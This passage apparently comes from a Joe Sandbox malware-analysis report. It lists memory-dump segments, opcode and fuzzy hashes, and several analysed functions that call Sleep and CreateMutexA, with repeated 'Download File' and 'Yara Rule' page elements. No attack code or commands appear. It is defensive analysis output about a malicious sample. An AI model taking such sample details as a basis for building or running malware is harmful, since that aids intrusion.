Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c3563732d69955f48b1328baa5351a20b49dc6da1fa4acbc0c701fc963c36fe6
Instruction ID: d9271a54fa5841fa822e770f7138d97541996fd9d78d94f83fc9db04e3a40c3a
Opcode Fuzzy Hash: c3563732d69955f48b1328baa5351a20b49dc6da1fa4acbc0c701fc963c36fe6
Instruction Fuzzy Hash: 1D314A31B00240DBEB18EB7DDD8DBEDB761EF91320F244219E414DB2D5D77A4980AB52

Function 00FBA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b8dbd20f3d487e70de275d91e32e927d53a74ccb45e5c2034571e2af6272aebd
Instruction ID: a9158164086d48442392b117c09053901a1ae5ff3f6f1bef266c879bb6122247
Opcode Fuzzy Hash: b8dbd20f3d487e70de275d91e32e927d53a74ccb45e5c2034571e2af6272aebd
Instruction Fuzzy Hash: 9E314C71B002048BEB18EB7DDD89BEDB762EF85324F244219E454EB2D5C7398981EB12

Function 00FBA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 081707ef8ea6045e28d87511609ea9a5ed2f75a6558c05500f4e693bba43f08d
Instruction ID: 653a6aa74bae9f0c3c3d60d2bee8338858d05036ff6329188653a0c52cbeb30b
Opcode Fuzzy Hash: 081707ef8ea6045e28d87511609ea9a5ed2f75a6558c05500f4e693bba43f08d
Instruction Fuzzy Hash: AF316C71B042009BEB18DB79DD89BDDB762EF81320F348218E414DB2D5DB394980EB12

Function 00FB9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 902a880149da6b1ef32b29934513cae0f21b89234134b5c3a55acaa82dd0b526
Instruction ID: 48319b4ff5ff9ae4c6c67296b64eb77c9793ec2c8b3e61c00e90d03dc424b549
Opcode Fuzzy Hash: 902a880149da6b1ef32b29934513cae0f21b89234134b5c3a55acaa82dd0b526
Instruction Fuzzy Hash: 9A214C317042019BEB18AB69EC89BECF761EFC1320F20421DE418DB2D5D77A4981EB11

Function 00FBA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d62e0bec3b9972e65c871457bb171e75a32e307546b6e9b27a70e59ea04c7cb3
Instruction ID: f6443f80309d56b42403b3445851d72d006be446beba572a0faa61fc04022281
Opcode Fuzzy Hash: d62e0bec3b9972e65c871457bb171e75a32e307546b6e9b27a70e59ea04c7cb3
Instruction Fuzzy Hash: 3B216A71B443018AFB24776ADC9ABEDB251EF81310F24481AE448DA6C1DA7E8881FA53

Function 00FBA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00FBA963
CreateMutexA.KERNEL32(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
